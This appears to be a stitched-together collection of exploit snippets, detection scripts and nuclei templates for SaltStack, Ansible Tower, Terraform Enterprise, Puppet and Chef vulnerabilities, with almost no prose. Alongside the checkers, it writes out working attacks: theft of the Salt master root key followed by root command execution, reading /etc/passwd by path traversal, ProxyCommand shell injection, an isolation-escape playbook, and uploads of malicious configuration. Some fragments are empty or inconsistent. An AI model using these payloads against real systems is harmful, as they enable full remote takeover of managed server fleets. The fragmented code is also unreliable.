基础设施即代码与自动化运维平台高危攻击链专题：Terraform / Ansible / SaltStack / Puppet / Chef 漏洞全解析

{
  "key": "<stolen_root_key>",
  "cmd": "runner",
  "fun": "salt.cmd",
  "arg": ["cmd.exec_code", "bash", "id"]
}

# 获取 Master root key（通过 ZeroMQ 端口 4506）
python3 -c "
import salt.transport.client, json
config = {'transport':'zeromq','pki_dir':'/tmp','id':'attacker',
          'log_level':'quiet','master_ip':'<TARGET_IP>',
          'master_port':'4506','auth_timeout':5,'auth_tries':1,
          'master_uri':'tcp://<TARGET_IP>:4506'}
ch = salt.transport.client.ReqChannel.factory(config, crypt='clear')
resp = ch.send({'cmd':'_prep_auth_info'}, timeout=5)
print('Root Key:', resp[2]['root'])
"

#!/usr/bin/env python3
"""CVE-2020-11651 SaltStack Salt 认证绕过检测脚本"""
import sys
import json

def check(target, port=4506):
    """检测目标是否存在 CVE-2020-11651 漏洞"""
    try:
        import salt.transport.client
    except ImportError:
        print("[-] 需要安装 salt 库: pip3 install salt")
        sys.exit(1)

    config = {
        'transport': 'zeromq',
        'pki_dir': '/tmp',
        'id': 'cve-checker',
        'log_level': 'quiet',
        'master_ip': target,
        'master_port': str(port),
        'auth_timeout': 5,
        'auth_tries': 1,
        'master_uri': f'tcp://{target}:{port}'
    }

    try:
        channel = salt.transport.client.ReqChannel.factory(config, crypt='clear')
        channel.send({'cmd': 'ping'}, timeout=3)
    except Exception:
        print(f"[-] {target}:{port} 无法连接")
        return False

    try:
        resp = channel.send({'cmd': '_prep_auth_info'}, timeout=5)
        if resp and len(resp) >= 3 and isinstance(resp[2], dict) and 'root' in resp[2]:
            root_key = resp[2]['root']
            print(f"[+] {target}:{port} 存在 CVE-2020-11651 漏洞")
            print(f"[+] 获取到 root key: {root_key[:32]}...")
            return True
        else:
            print(f"[-] {target}:{port} 不存在 CVE-2020-11651 漏洞（_prep_auth_info 未返回 root key）")
            return False
    except Exception as e:
        print(f"[-] {target}:{port} 检测异常: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    result = check(target)
    print(f"[{'+' if result else '-'}] {target}")

id: cve-2020-11651-saltstack-auth-bypass
info:
  name: SaltStack Salt CVE-2020-11651 Authentication Bypass
  author: security-researcher
  severity: critical
  description: SaltStack Salt ClearFuncs class authentication bypass allows remote unauthenticated access
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11651
    - https://labs.f-secure.com/advisories/saltstack-authorization-bypass
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-287
  tags: cve,cve2020,saltstack,auth-bypass,rce

tcp:
  - inputs:
      - data: "{{hex_decode('010001000000000000000000')}}"
    host:
      - "{{Hostname}}"
    port: 4506

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "_prep_auth_info"
          - "_send_pub"
        condition: or
        part: body

    extractors:
      - type: regex
        regex:
          - "salt\\s+version"

# 通过 wheel 模块读取 /etc/passwd（需要 root key）
curl -k -X POST https://<TARGET>:8000/ \
  -H "Content-Type: application/json" \
  -d '{
    "client": "wheel",
    "fun": "file_roots.read",
    "path": "../../../../../../../../etc/passwd",
    "key": "<root_key>",
    "saltenv": "base"
  }'

#!/usr/bin/env python3
"""CVE-2020-11652 SaltStack Salt 目录遍历检测脚本"""
import sys
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target, root_key=None, port=8000):
    """检测目标是否存在 CVE-2020-11652 漏洞"""
    url = f"https://{target}:{port}/"
    traversal_path = "../../../../../../../../etc/passwd"

    if root_key:
        payload = {
            "client": "wheel",
            "fun": "file_roots.read",
            "path": traversal_path,
            "key": root_key,
            "saltenv": "base"
        }
        try:
            resp = requests.post(url, json=payload, verify=False, timeout=10)
            data = resp.json()
            if data.get("return", [{}])[0].get("data", {}).get("return", None):
                content = str(data["return"][0]["data"]["return"])
                if "root:" in content or "/bin/bash" in content:
                    print(f"[+] {target} 存在 CVE-2020-11652 目录遍历漏洞")
                    print(f"[+] 文件内容预览: {content[:100]}...")
                    return True
        except Exception as e:
            print(f"[-] 检测异常: {e}")

    payload_token = {
        "cmd": "get_token",
        "arg": [],
        "token": traversal_path
    }
    try:
        resp = requests.post(url, json=payload_token, verify=False, timeout=10)
        if resp.status_code == 200:
            print(f"[+] {target} get_token 方法可能存在路径遍历")
            return True
    except Exception:
        pass

    print(f"[-] {target} 未检测到 CVE-2020-11652 漏洞")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target> [root_key]")
        sys.exit(1)
    target = sys.argv[1]
    key = sys.argv[2] if len(sys.argv) > 2 else None
    result = check(target, key)
    print(f"[{'+' if result else '-'}] {target}")

id: cve-2020-11652-saltstack-path-traversal
info:
  name: SaltStack Salt CVE-2020-11652 Path Traversal
  author: security-researcher
  severity: high
  description: SaltStack Salt ClearFuncs directory traversal allows reading arbitrary files
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11652
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cwe-id: CWE-22
  tags: cve,cve2020,saltstack,path-traversal

http:
  - method: POST
    path:
      - "{{BaseURL}}/"

    body: '{"cmd":"get_token","arg":[],"token":"../../../../../../../../etc/passwd"}'
    headers:
      Content-Type: application/json

    matchers:
      - type: word
        words:
          - "root:"
          - "salt:"
        condition: or
        part: body

curl -k -X POST https://<TARGET>:8000/ \
  -H "Content-Type: application/json" \
  -d '{
    "client": "ssh",
    "tgt": "127.0.0.1",
    "fun": "cmd.run",
    "arg": ["id"],
    "ssh_options": {"ProxyCommand": "id > /tmp/pwned"}
  }'

#!/usr/bin/env python3
"""CVE-2021-3197 SaltStack Salt ProxyCommand 注入检测脚本"""
import sys
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target, port=8000):
    """检测目标是否存在 CVE-2021-3197 漏洞"""
    url = f"https://{target}:{port}/"

    try:
        resp = requests.get(url, verify=False, timeout=5)
        if resp.status_code not in [200, 404]:
            print(f"[-] {target}:{port} Salt API 未响应")
            return False
    except Exception:
        print(f"[-] {target}:{port} 无法连接")
        return False

    payload = {
        "client": "ssh",
        "tgt": "127.0.0.1",
        "fun": "cmd.run",
        "arg": ["echo cve-2021-3197-test"],
        "ssh_options": {"ProxyCommand": "echo vuln-check-3197"}
    }

    try:
        resp = requests.post(url, json=payload, verify=False, timeout=10)
        data = resp.json()
        ret = data.get("return", [])
        if ret:
            result_str = str(ret)
            if "vuln-check-3197" in result_str or "ProxyCommand" in result_str:
                print(f"[+] {target}:{port} 存在 CVE-2021-3197 漏洞")
                return True
    except Exception as e:
        print(f"[-] 检测异常: {e}")

    print(f"[-] {target}:{port} 未检测到 CVE-2021-3197 漏洞")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    result = check(target)
    print(f"[{'+' if result else '-'}] {target}")

id: cve-2021-3197-saltstack-shell-injection
info:
  name: SaltStack Salt CVE-2021-3197 Shell Injection
  author: security-researcher
  severity: critical
  description: Salt API SSH client vulnerable to ProxyCommand shell injection
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3197
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-78
  tags: cve,cve2021,saltstack,shell-injection,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: word
        words:
          - "salt-api"
          - "CherryPy"
          - "Unauthorized"
        condition: or
        part: body

# 利用恶意 Playbook 进行 Job Isolation 逃逸的概念验证
# 1. 创建包含以下内容的恶意 playbook
cat << 'EOF' > escape.yml
---
- hosts: localhost
  gather_facts: false
  tasks:
    - name: Escape job isolation via D-Bus
      command: dbus-send --system --dest=org.freedesktop.DBus /org/freedesktop/DBus org.freedesktop.DBus.ListNames
      register: dbus_result

    - name: Check access to host filesystem
      stat:
        path: /etc/shadow
      register: shadow_check

    - name: Print results
      debug:
        msg: "D-Bus access: {{ dbus_result.stdout }}, Shadow file exists: {{ shadow_check.stat.exists }}"
EOF

# 2. 通过 Tower API 创建并执行该 Playbook
curl -k -X POST https://<TOWER_URL>/api/v2/job_templates/<ID>/launch/ \
  -H "Authorization: Bearer <low_priv_token>" \
  -H "Content-Type: application/json" \
  -d '{}'

#!/usr/bin/env python3
"""CVE-2021-20253 Ansible Tower Job Isolation 逃逸检测脚本"""
import sys
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target, token):
    """检测目标 Ansible Tower 是否存在 Job Isolation 逃逸漏洞"""
    api_url = f"https://{target}/api/v2/"
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }

    try:
        resp = requests.get(api_url, headers=headers, verify=False, timeout=10)
        if resp.status_code != 200:
            print(f"[-] {target} API 认证失败或不可达")
            return False
    except Exception as e:
        print(f"[-] {target} 无法连接: {e}")
        return False

    version_url = f"https://{target}/api/v2/settings/system/"
    try:
        resp = requests.get(version_url, headers=headers, verify=False, timeout=10)
        data = resp.json()
        tower_version = data.get("ANSIBLE_VERSION", "unknown")
        print(f"[*] Ansible Tower 版本: {tower_version}")
    except Exception:
        pass

    settings_url = f"https://{target}/api/v2/settings/all/"
    try:
        resp = requests.get(settings_url, headers=headers, verify=False, timeout=10)
        data = resp.json()
        isolated = data.get("ISOLATED_KEYWORD", None)
        isolation_config = data.get("AWX_ISOLATION_SHOW_PATHS", None)
        if isolation_config and "/proc" not in str(isolation_config):
            print(f"[!] {target} 可能存在 Isolation 配置问题")
    except Exception:
        pass

    print(f"[i] {target} 需要通过低权限账户执行恶意 Playbook 进行完整验证")
    print(f"[i] 参考: https://github.com/mbadanoiu/CVE-2021-20253")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target> <api_token>")
        sys.exit(1)
    target = sys.argv[1]
    token = sys.argv[2]
    result = check(target, token)
    print(f"[{'+' if result else '-'}] {target}")

id: cve-2021-20253-ansible-tower-isolation-escape
info:
  name: Ansible Tower CVE-2021-20253 Job Isolation Escape
  author: security-researcher
  severity: medium
  description: Ansible Tower default job isolation allows privilege escalation
  reference:
    - https://access.redhat.com/security/cve/CVE-2021-20253
    - https://github.com/mbadanoiu/CVE-2021-20253
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 6.7
    cwe-id: CWE-552
  tags: cve,cve2021,ansible,tower,isolation-escape

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v2/ping/"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ha"
          - "redis"
          - "version"
        condition: and
        part: body

      - type: status
        status:
          - 200

#!/usr/bin/env python3
"""CVE-2020-10697 Ansible Tower Memcached 缓存投毒检测"""
import sys
import socket

def check(target, memcached_port=11211):
    """检测目标 Memcached 是否暴露且可未认证访问"""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((target, memcached_port))
        sock.send(b"version\r\n")
        resp = sock.recv(1024).decode()
        sock.close()

        if "VERSION" in resp:
            print(f"[+] {target}:{memcached_port} Memcached 暴露: {resp.strip()}")
            print(f"[!] 可能存在 CVE-2020-10697 缓存投毒风险")
            return True
        else:
            print(f"[-] {target}:{memcached_port} 无有效响应")
            return False
    except (socket.timeout, ConnectionRefusedError, OSError) as e:
        print(f"[-] {target}:{memcached_port} 不可达: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target> [memcached_port]")
        sys.exit(1)
    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 11211
    result = check(target, port)
    print(f"[{'+' if result else '-'}] {target}")

#!/usr/bin/env python3
"""CVE-2016-9587 Ansible Engine 反序列化 RCE 概念检测"""
import sys
import json

PAYLOAD = {
    "ansible_facts": {
        "os_family": "RedHat",
        "!unsafe": "__import__('os').system('id > /tmp/cve-2016-9587')"
    },
    "_ansible_no_log": False
}

def check(target=None):
    """打印漏洞信息和概念验证 payload"""
    print("[*] CVE-2016-9587 Ansible Engine 反序列化 RCE")
    print("[*] 影响版本: Ansible Engine < 2.1.4, < 2.2.1")
    print("[*] CVSS 8.1 - 需要控制受管客户端或 MITM")
    print(f"[*] 概念验证 payload:")
    print(json.dumps(PAYLOAD, indent=2))
    print("[*] 检测方法: 在受管主机上配置恶意 facts 并触发 control node 的 gather_facts")
    return False

if __name__ == "__main__":
    check()
    print(f"[-] 此漏洞需要客户端控制，无法远程自动检测")

# 获取受影响 Workspace 的 Configuration Versions
curl -k -X GET "https://<TFE_URL>/api/v2/workspaces/<WS_ID>/configuration-versions" \
  -H "Authorization: Bearer <read_only_token>"

# 响应中如果包含 "upload_url" 字段，则存在漏洞
# 使用该 URL 上传恶意配置
curl -k -X PATCH "<upload_url>" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @malicious.tf.tar.gz

#!/usr/bin/env python3
"""CVE-2021-40862 Terraform Enterprise 敏感 URL 泄露检测脚本"""
import sys
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target, token, workspace_id=None):
    """检测目标 Terraform Enterprise 是否存在 CVE-2021-40862"""
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/vnd.api+json"
    }

    if not workspace_id:
        ws_url = f"https://{target}/api/v2/organizations/"
        try:
            resp = requests.get(ws_url, headers=headers, verify=False, timeout=10)
            data = resp.json()
            workspaces = data.get("data", [])
            if workspaces:
                org_name = workspaces[0].get("relationships", {}).get("organization", {}).get("data", {}).get("id", "")
                print(f"[*] 发现组织: {org_name}")
        except Exception:
            pass

    if workspace_id:
        cv_url = f"https://{target}/api/v2/workspaces/{workspace_id}/configuration-versions"
        try:
            resp = requests.get(cv_url, headers=headers, verify=False, timeout=10)
            data = resp.json()
            for cv in data.get("data", []):
                attrs = cv.get("attributes", {})
                if "upload-url" in attrs or "upload_url" in attrs:
                    print(f"[+] {target} 存在 CVE-2021-40862: Configuration Version 暴露敏感 URL")
                    upload_url = attrs.get("upload-url") or attrs.get("upload_url")
                    print(f"[+] 敏感 URL: {upload_url[:80]}...")
                    return True
            print(f"[-] {target} 未发现敏感 URL 泄露")
        except Exception as e:
            print(f"[-] 检测异常: {e}")
    else:
        print(f"[i] 请提供 workspace_id 以进行完整检测")

    return False

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <api_token> [workspace_id]")
        sys.exit(1)
    target = sys.argv[1]
    token = sys.argv[2]
    ws_id = sys.argv[3] if len(sys.argv) > 3 else None
    result = check(target, token, ws_id)
    print(f"[{'+' if result else '-'}] {target}")

#!/usr/bin/env python3
"""CVE-2022-25374 Terraform Enterprise 日志泄露检测脚本"""
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target, token):
    """检测目标 Terraform Enterprise 是否为受影响版本"""
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/vnd.api+json"
    }
    try:
        resp = requests.get(f"https://{target}/api/v2/admin/tfe-version", headers=headers, verify=False, timeout=10)
        if resp.status_code == 200:
            data = resp.json()
            version = data.get("data", {}).get("attributes", {}).get("version", "")
            print(f"[*] Terraform Enterprise 版本: {version}")
            affected = ["v202112-1", "v202112-2", "v202201-1", "v202201-2"]
            if any(v in version for v in affected):
                print(f"[+] {target} 受 CVE-2022-25374 影响，HTTP 请求体可能被记录到日志")
                return True
            else:
                print(f"[-] {target} 版本不受 CVE-2022-25374 影响")
        elif resp.status_code == 403:
            print(f"[i] 需要管理员权限获取版本信息")
    except Exception as e:
        print(f"[-] 检测异常: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target> <api_token>")
        sys.exit(1)
    target = sys.argv[1]
    token = sys.argv[2]
    result = check(target, token)
    print(f"[{'+' if result else '-'}] {target}")

#!/usr/bin/env python3
"""CVE-2023-4782 Terraform init 任意文件写入检测"""
import sys

def check(target=None):
    """打印漏洞信息"""
    print("[*] CVE-2023-4782 Terraform CLI init 任意文件写入")
    print("[*] 影响版本: Terraform 1.0.8 ~ 1.5.6")
    print("[*] 修复版本: 1.5.7")
    print("[*] CVSS 8.8 - 需要本地执行恶意 terraform init")
    print("[*] 检测方法:")
    print("    1. 检查已安装 Terraform 版本: terraform version")
    print("    2. 确认版本号 >= 1.5.7")
    return False

if __name__ == "__main__":
    check()

# 通过 Orchestrator API 执行恶意 Task
curl -k -X POST "https://<PE_URL>/orchestrator/v1/command/task" \
  -H "X-Authentication: <session_token>" \
  -H "Content-Type: application/json" \
  -d '{
    "environment": "production",
    "task": "package",
    "params": {"name": "malicious-package"},
    "scope": {"pql": "certname = \"*\""}
  }'

#!/usr/bin/env python3
"""CVE-2023-2530 Puppet Enterprise Orchestrator RCE 检测"""
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target, token):
    """检测目标 Puppet Enterprise Orchestrator 是否存在 CVE-2023-2530"""
    headers = {
        "X-Authentication": token,
        "Content-Type": "application/json"
    }

    version_url = f"https://{target}/orchestrator/v1/version"
    try:
        resp = requests.get(version_url, headers=headers, verify=False, timeout=10)
        if resp.status_code == 200:
            data = resp.json()
            pe_version = data.get("version", "unknown")
            print(f"[*] Puppet Enterprise 版本: {pe_version}")
    except Exception:
        pass

    inventory_url = f"https://{target}/orchestrator/v1/inventory"
    try:
        resp = requests.get(inventory_url, headers=headers, verify=False, timeout=10)
        if resp.status_code == 200:
            print(f"[+] {target} Orchestrator API 可访问，需手动验证权限校验逻辑")
        elif resp.status_code == 403:
            print(f"[-] {target} Orchestrator API 返回 403，权限不足")
    except Exception as e:
        print(f"[-] 检测异常: {e}")

    print(f"[i] 此漏洞需要有效会话令牌进行完整验证")
    print(f"[i] 确保 PE 版本 >= 2021.7.4 或 >= 2023.2")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target> <session_token>")
        sys.exit(1)
    target = sys.argv[1]
    token = sys.argv[2]
    result = check(target, token)
    print(f"[{'+' if result else '-'}] {target}")

id: cve-2023-2530-puppet-enterprise-orchestrator-rce
info:
  name: Puppet Enterprise CVE-2023-2530 Orchestrator RCE
  author: security-researcher
  severity: critical
  description: Puppet Enterprise Orchestrator privilege escalation allowing RCE
  reference:
    - https://www.puppet.com/security/cve/cve-2023-2530-remote-code-execution-orchestrator
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cwe-id: CWE-269
  tags: cve,cve2023,puppet,enterprise,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/orchestrator/v1/version"

    matchers:
      - type: word
        words:
          - "version"
          - "pe_orchestrator"
        condition: or
        part: body

      - type: status
        status:
          - 200

#!/usr/bin/env python3
"""CVE-2016-5714 PXP Agent 白名单绕过检测"""
import sys

def check(target=None):
    print("[*] CVE-2016-5714 Puppet PXP Agent 命令白名单绕过")
    print("[*] 影响版本: PE 2015.3.3/2016.x, Puppet Agent 1.3.6-1.7.0")
    print("[*] 修复版本: PE 2016.4.0, Agent 1.7.1")
    print("[*] 检查节点上的 puppet-agent 版本:")
    print("    puppet --version 或 /opt/puppetlabs/puppet/bin/puppet --version")
    return False

if __name__ == "__main__":
    check()

# 通过 Manage API 创建恶意用户
curl -k -X POST "https://<MANAGE_URL>/api/v1/users" \
  -H "Content-Type: application/json" \
  -d '{
    "username": "test",
    "password": "test123456",
    "email": "test@test.com",
    "first_name": "test",
    "last_name": "test"
  }'

#!/usr/bin/env python3
"""CVE-2017-7174 Chef Manage RCE 检测脚本"""
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target):
    """检测目标 Chef Manage 是否存在 CVE-2017-7174"""
    try:
        resp = requests.get(f"https://{target}/", verify=False, timeout=10)
        if resp.status_code == 200:
            if "Chef Manage" in resp.text or "chef-manage" in resp.text:
                print(f"[+] {target} 运行 Chef Manage")
            else:
                print(f"[*] {target} 响应中未发现 Chef Manage 标识")
    except Exception:
        print(f"[-] {target} 无法连接")
        return False

    login_url = f"https://{target}/api/v1/login"
    try:
        resp = requests.get(login_url, verify=False, timeout=10)
        if resp.status_code in [200, 401]:
            print(f"[i] {target} Chef Manage API 可达")
    except Exception:
        pass

    print(f"[i] CVE-2017-7174 需要验证 Manage 版本 <= 2.4.4")
    print(f"[i] 请通过管理界面或 API 确认版本号")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    result = check(target)
    print(f"[{'+' if result else '-'}] {target}")

# 创建包含恶意代码的 InSpec Profile
cat << 'RUBY' > malicious/inspec.yml
name: malicious-profile
title: Malicious InSpec Profile
version: 0.1.0
RUBY

cat << 'RUBY' > malicious/controls/example.rb
RUBY

# 上传到 Chef Automate
curl -k -X POST "https://<AUTOMATE_URL>/api/v0/compliance/profiles" \
  -H "Authorization: Bearer <token>" \
  -F "file=@malicious-profile.tar.gz"

#!/usr/bin/env python3
"""CVE-2023-40050 Chef Automate InSpec RCE 检测"""
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target, token):
    """检测目标 Chef Automate 是否存在 CVE-2023-40050"""
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }

    try:
        resp = requests.get(f"https://{target}/api/v0/version", headers=headers, verify=False, timeout=10)
        if resp.status_code == 200:
            data = resp.json()
            version = data.get("build_timestamp", "unknown")
            print(f"[*] Chef Automate build: {version}")
    except Exception:
        pass

    profiles_url = f"https://{target}/api/v0/compliance/profiles"
    try:
        resp = requests.get(profiles_url, headers=headers, verify=False, timeout=10)
        if resp.status_code in [200, 404]:
            print(f"[+] {target} Compliance Profiles API 可达")
            print(f"[i] CVE-2023-40050: 恶意 InSpec Profile 上传可导致 RCE")
            print(f"[i] 确保 Automate 版本已更新到最新")
    except Exception as e:
        print(f"[-] 检测异常: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target> <api_token>")
        sys.exit(1)
    target = sys.argv[1]
    token = sys.argv[2]
    result = check(target, token)
    print(f"[{'+' if result else '-'}] {target}")

#!/usr/bin/env python3
"""CVE-2023-28864 Chef Infra Server 备份泄露检测"""
import sys
import os

def check():
    backup_path = "/var/opt/opscode/local-mode-cache/backup"
    print("[*] CVE-2023-28864 Chef Infra Server 备份路径信息泄露")
    print(f"[*] 检查备份目录: {backup_path}")

    if os.path.exists(backup_path):
        try:
            stat_info = os.stat(backup_path)
            mode = oct(stat_info.st_mode)[-3:]
            if mode in ['777', '775', '776', '755', '766', '765']:
                print(f"[!] {backup_path} 权限为 {mode}，可能存在泄露风险")
                return True
            else:
                print(f"[-] {backup_path} 权限为 {mode}，已正确限制")
        except OSError:
            print(f"[-] 无法检查目录权限")
    else:
        print(f"[-] 备份目录不存在")

    return False

if __name__ == "__main__":
    result = check()
    print(f"[{'+' if result else '-'}] CVE-2023-28864 检测完成")

攻击者 ──── 端口 4506 (ZeroMQ) ──── ClearFuncs._prep_auth_info()
   │                                        │
   │                              获取 Master root key
   │                                        │
   │              ┌─────────────────────────┘
   │              │
   ├──── runner/salt.cmd ──── 以 root 身份在 Master 执行任意命令
   │
   └──── _send_pub() ──── 广播到所有 Minion 执行任意 root 命令